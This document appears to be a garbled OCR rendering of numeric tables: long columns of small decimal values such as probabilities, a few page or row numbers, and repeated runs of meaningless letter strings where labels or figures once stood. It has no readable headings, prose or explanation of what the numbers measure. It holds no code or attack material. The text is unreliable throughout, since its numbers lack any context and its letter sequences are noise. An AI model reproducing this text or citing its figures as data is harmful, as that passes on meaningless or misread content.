.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003

O OO OO0 OO OOoOooo

oloNoNoNoNoNeoNololololNololNoBolNololNolNolNoNoNoNoNolNololNolBoNoNolNololNolNolNololNeloNolNeo]

.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.020861
.634187
.348774
.004266
.000006
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000003
.000019
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003

O OO OO0 OO OOoOOo oo

[eNoNeoNoNoNoNoNoloholoNoloNololololNolNolNoNoNoNolNoloBolNoNoNolNolNololNolNolNolNoNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000021
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000001
.000001
.000002
.000005
.000138
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002

O OO OO0 OO OOoOo oo

[eNoNeoNoNoNoNoNolololoNoloNoBolNololNolNolNoNoNoNolNolololNoNoNolNolNololNolNolNolNolNo]

.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000028
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.000197
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
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o O O

eNeoBoRoNoNoNoNoNoloNolololNoNoNoNoNoloBololoNoNoNoNoNololololNoNoNoNoNololBolololNolNolNolNo)

O O OO oo

.000003
.000005
.000016

26

.441662
.491750
.067242
.999080
.000006
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000009
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

27

.440489
.492269
.065625
.992194
.000006
.000002

o O O

eNeoBoRoNoNoNoNoNoloNoloBoloNoNoNoNoloBololoNoNoNoNoNolololNolNoNoNoNoNololBolololNolNolNolNo)

O O O O oo

.000003
.000004
.000020

.003582
.837358
.112672
.000179
.000007
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003854
.883475
.019928
.003508
.000007
.000001

o O O

eNeoBoRoNoNoNoNoNoloNolololoNoNoNoNololololoNoNoNoNoNoloRolNoNoNoNoNoNolololololNoNolNolNo)

O O O O oo

.000003
.000006
.000040

.023031
.628195
.363736
.000083
.000006
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000003
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.028493
.607771
.447502
.000735
.000006
.000001

ocNeoBoloNoNoNoNoNoloNoloBoloNoNoNoNoNoBoloNoNoNoNoNoNoNololoNoNoNoNoNoNololololNol (@)

o

.000003
.000009
.000609

.000016
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000001
.000002
.000005
.000218
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000019
.000002
.000001

ocNeoBoBolNoNoNoNoNoloNoloBoloNoNoNoNoNoBololNoNoNoNoNoNoNololoNoNoNoNoNoNololololNol (@)

o

.000003
.000012
.001492

.000008
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.000272
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.001144
.000002
.000001
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oNeoNeoBoNoNoNeoNoNeohololNoloNolNoNololNololNoNoNolNolNoloNolololNololNololeololNolNolNo]

eoBoNoNoNoNoNoNolololNolololNololNe

.000001
.001489
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000009
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

28

.441604
.492771
.064462
.978732
.000006
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000

oNeoNeoBoNoNoNeoNoNoholoNoloNolNoNololNololNoNoNoNolNololBololoNololNololeololNolNolNo]

eoBoNoNoNoNoNoNolololNolololNololNe]

.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003971
.976101
.023410
.004142
.000007
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

oNeoNeoBoNoNoNeoNoNohololNolBoNolNoNololNololNoNolNoNolNololBololoNoloNololeololNolNolNo]

eNoNoNoNoNoNoNolololNolololNeololNe]

.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000003
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044200
.508299
.441354
.005210
.000006
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000

oNeoNeoBoNoNoNeoNoNohololNoloNolNoNoBolNoloNoNoNolNolNoloNolololNoloNololeololNolNolNo]

OO OO OO0 OOOoooOo

.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000001
.000002
.000005
.000265
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000017
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001

oNeoNeoBoNoNoNeoNoNoholoNoloNolNoNololNoloNoNoNolNolNoloNolololNololNololeololNolNolNo]

OO OO OO OOOoooOo

.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.000498
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000012
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
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eNeoNoRoNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000000
.000001
.000001
.000002
.000003
.000009
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

29

.450127
.485411
.063620
.976742
.000006
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000010
.994458
.000021
.000008

eNeoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000001
.000001
.000001
.000001
.000002
.000002
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003925
.972665
.024339
.004834
.000007
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000012
.001984
.000029
.000003

eNeoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNolNolNolNolNolNo]

eNeoNoNoloRololoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000001
.000001
.000002
.000002
.000003
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.043546
.515101
.439615
.007893
.000006
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000003
.000020
.000994
.000028
.000003

eNeoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

leNeoNoNoloRololNoNoNoNoNoNolololNolNoNolNolNolNolNolNo]

.000000
.000001
.000002
.000001
.000002
.000005
.001162
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000018
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000001
.000002
.000005
.001156
.000107
.000005
.000001

eNeoNoBolNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRolNolNoNoNoNoNoNolololNolNoNoNolNolNolNolNo]

.000001
.000001
.000002
.000002
.000002
.000007
.010578
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000010
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.009197
.000040
.000004
.000002
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eNoNoNoNeoNoNoNoNololNolololNololelNo)

eoNeoNoNoNoNoNolNolololNolBoNoloNololNolNolNolNoNolNoNololNolNololNololNeololNeololNelNo]

.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

30

.452444
.483936
.063371
.984320
.000006
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000010
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001

eNoNoNoNeoNoNoNoNololNolololNololNeolNo)

eoNeoNoNoNoNoNolNolololNoloNoloNololNololNoNoNoNolNolNolNolNoloNololNololNololNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003858
.971803
.029134
.000119
.000007
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001

eNoNeoNoNeoNoNoNolNololNolololNololNelNo)

eoNeoNoNoNoNoNolNolololNoloNoloNololNolNolNolNolNoNoNolNololNololNololNeololNololNollo]

.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.043095
.517290
.431760
.000064
.000006
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000002
.000002
.000002
.000003
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000

eNoNoNoNeoNoNoNoNololNolololNololNelNo)

oloNeoNoNoNoNoNolololoNololNoBoNololNololNololNoNolNolNololololololNelolNe]

.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.002706
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000001
.000002
.000005
.000887
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

eNoNoNoNeoNoNoNolNololNolololNololNelNo)

cloNeoNoNoNoNoNolNolooNololNoloNololNololNolNoNoNolNolNololololololNelolNe]

.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000009
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000008
.011743
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000

282



OO O OO oo

ecNeoNoRoloNoNoNoNoNoNoNoRoloNoNoNoNololNolololNoNoNoNoNoloRoloNolNoNoNoNolNololololNoNolNolNo)

o O

.000000
.000001
.000002
.000002
.000003
.000005
.000016

31

.453734
.482894
.062792
.991386
.001175
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000010
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

32

.454141
.483067

OO O OO oo

ecNeoNoRoloNoNoNoNoNoNolNoBoloNoNoNoNololNolololNoNoNoNoNoloRoloNolNoNoNoNolNololololNoNolNolNo)

o O

.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003888
.966977
.019343
.000124
.000007
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000002
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003900
.976757

OO O OO oo

ecNeoNoRoloNoNoNoNoNoNolNoBololNoNoNoNololNolololNoNoNoNoNoloRoloNolNoNoNoNolNololololNolNolNolNo)

o O

.000001
.000001
.000002
.000003
.000003
.000006
.000040

.041862
.526378
.448186
.004451
.000006
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000002
.000002
.000002
.000004
.000019
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044235
.507578

OO O OO oo

ocNoNoRoNoNoNoNoNoNoNoloBololNoNoNoNoloNolololoNoNoNoNolNoBolololNoNoNoNolNolNolololNe

.000001
.000001
.000003
.000002
.000003
.000009
.000609

.001181
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000001
.000002
.000006
.000291
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

OO O OO oo

ecNoNoRoloNoNoNoNoNoNolNoBololoNoNoNoloNolololoNoNoNoNolNoRolololNoNoNoNolNolNolololNe)

.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000008
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000008
.001235
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

283



oNoNeoNoNeoloNololNoholNolNolBoNolBolNoBolNoloNololNoloNoNoNolNoloNoloNololNololNololNelolNeollolNe]

OO OO OO0 OOoOooo

.062864
.981982
.000008
.000002
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000010
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

33

.455672
.481464
.062464
.992094
.000008
.000003
.000001
.000001
.000001
.000000
.000001
.000001

eoNoNeoNoNeoNoNololNohololNolBoNolBolNoBolNoloNololNoloNoNoNolNoloNoloNololNololNololNelolNeololNo]

OO OO OO0 OOoOooo

.021703
.002624
.000007
.000001
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003976
.974321
.018293
.001455
.000007
.000002
.000001
.000001
.000001
.000001
.000001
.000001

ecNoNeoNoNeoloNololNoholololBoNoloNoBolNoloNololNoloNoNoNolNoloNoloNololNololNololNelolNelolNe]

OO OO OO0 OOoOooo

.443815
.000070
.000006
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.001214
.000000
.000001
.000002
.000002
.000002
.000004
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.043772
.512412
.449923
.000067
.000007
.000001
.000002
.000001
.000000
.000000
.000001
.000000

oNoNeoBoNeolNoNololoholololoNolBoNoloNololNololNoNolNolNoNololBolNoBoNololNololNololNololNelNo)

O O OO OO O oo

.000021
.000002
.000001
.000001
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000001
.000000
.000001
.000002
.000001
.000002
.000006
.000936
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.001113
.000002
.000001
.000002
.000001
.000000
.000000
.000001
.000000

ocNoNeoBoNeoNoNololololololBoNolBoNoloNololNololoNolNoNoNololBoNoBoNololNololNolololNolNelNeo)

O O OO OO O oo

.000008
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000008
.012985
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000009
.000002
.000001
.000001
.000001
.000000
.000000
.000000
.000001

284



eNeoNololBoNoNoNoNoNoNoNoBolNoNoNoNoNolNolNolololoNolNoNoNolNolololNe

[eNeoNoNoloRolNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000002
.000003
.000010
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

34

.455426
.482110
.063183
.960275
.000007
.000003
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000002
.000003

eNeoNololoNoloNoNoNoNoNoBolNoNoNoNoNolNoNolololoNoNoNoNolNolololNe)

eNeoNoNoloRoNoloNoNoNoloNolololNoNoNoNolNolNolNe]

.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000002
.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003848
.977858
.022590
.001297
.000007
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000002

ecNeoNololoNoloNoNoNoNoNoBolNoNoNoNoNoNolNolololoNolNoNoNolNolololNe

ecNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNolNolNe]

.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000004
.000034
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044885
.505192
.441952
.000085
.000007
.001262
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000004

eNeoNololoNoloNoNoNoNoNoRolNoNoNoNoNolNolNolololoNolNoNoNolNolololNe)

ecNeoNoNoloRolNolNoNoNoNolNoNolololNolNolNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000001
.000002
.000007
.000354
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000018
.000002
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000001
.000002
.000005

eNeoNololoNoloNoNoNoNoNoRoloNoNoNoNolNoNolololoNoNoNoNolNolololNe

ecNeoNoNoloRolNolNoNoNoNolNoNolololNolNolNolNo]

.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000008
.004733
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000009
.000002
.000001
.000001
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000008
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O O O OO OO ODIODODODIODODODOOOOOo oo

eNoNoNoNoNoNoNolololoNoNoNoolNoBolNololNolNoNoNolNolNolBolololNololNello]

.000010
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

35

.453557
.483260
.062831
.993726
.000007
.000003
.000001
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000002
.000003
.000011
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001

O O O OO OO ODIODODODIODODODOOOOOo oo

eNoNoNoNoNoNoNololoBoNoNoNoolNoBolololNoNoNoNolNololBolololNololNollo]

.000012
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003698
.973713
.035497
.000109
.000008
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001

O O OO OO OO ODODIODIODODODODOOOOo oo

eoNoNoNoNoNoNolololoNoNoNololNoBolNololNolNoNoNolNolNololNololNololNello]

.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.042940
.515108
.421640
.002793
.000007
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000004
.000020
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000

[eNoNoNoNeoNoNoNoloholNolNoloNololNololNololNelo]

[eoNeoNoNoNoNoNolololoNoloNooNololoNolNoNololNololololNeolNolNo]

.020946
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000017
.000002
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000001
.000002
.000006
.000208
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001

O O O OO OO ODIODODIODIODODIODOOOOOo oo

[eoNoNoNoNoNoNolololoNoloNooNololoNolNoNololNololololNeolNolNo]

.015946
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.002245
.000002
.000001
.000001
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000002
.000008
.000733
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
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oNeoNololoNoloNolNolNolNo]

[eNeoNoNoloRoNoloNoNoNolNoBNolololoNoNoNoNolNoRololoNoNoNoNoNolNoBololNoNoNoNoNolNolololelNo

.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

36

.454547
.482622
.063048
.989792
.000007
.000003
.000002
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000011
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005

oNeoNolololNoloNolNolNolNo]

[eNeoNoNoloRoNoloNoNoNolNoBNoBoBoloNoNoNoNolNoBololoNoNoNoNoNolNoBololNoNoNoNolNolNolololNelNo

.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003686
.960817
.042863
.000144
.000008
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004

oNeoNolololNoloNolNolNolNo]

[eNeoNoNeoloRoNoloNoNoNolNoBNoBoBoloNoNoNoNolNoBololoNoNoNoNoNolNoBoloNoNoNoNoNolNolololelNo

.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.040578
.537783
.412952
.000060
.000008
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000004
.000022
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006

oNeoNolololNoloNolNolNolNo]

eoNeoNoNoloRoBNolNoNoNoNoNoNolololoNoNoNoNoNolololNolNoloNoNoNoNolololNolNolNoNolNolNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.001438
.000003
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000002
.000002
.000006
.007143
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009

oNeoNolololNoloNolNolNolNo]

eoNeoNoNoloRolNolNoNoNoNoNoNolololoNoNoNoNoNolololNolNolNoNoNoNoNoNololNolNolNoNolNolNolNo]

.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000012
.000003
.000001
.000001
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000002
.000002
.000003
.000003
.000009
.001235
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
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(@)

eNoNeoNoNoNoNololololoNoloNoBolNoloNohoNoNolNolololNoloNoloNoBoNoloNoNoNoNolNololNololololNel

O O OO OO oo

.000016

37

.453134
.483818
.063143
.997184
.000007
.000003
.000002
.000001
.000001
.000000
.000001
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000004
.000012
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

38

.452285
.484571
.063150
.913101
.000007
.000003
.000002
.000001

(@)

eNoNeoNoNoNoNololololBoNoloNoBolNoloNohNoNoNolNolololNoloNolNoNoBoNooNoNoNolNoNololNololololNel

O O OO OO oo

.000020

.003774
.953363
.036583
.000119
.000008
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000014
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003846
.959571
.014463
.055732
.000009
.000002
.000001
.000001

(@)

eNoNeoNoNoNoNololololBoNoNoNololNoloNoNoNoNolNololoNoloNolNoNoBoNohoNoNoNoNoNololNolololNolNel

O O OO OO oo

.000040

.039155
.547892
.421395
.001079
.000008
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000004
.000022
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.040639
.537966
.459750
.012440
.001260
.000002
.000002
.000001

oloNeoNoNeoNoNololololoNoNoNololNoloNolNoNoNolNoNoNoNololNolBoNoBolNololNolNolNololNelNolNolNo)

O O O O o

.000609

.000019
.000003
.000001
.000002
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000002
.000002
.000003
.000006
.000443
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
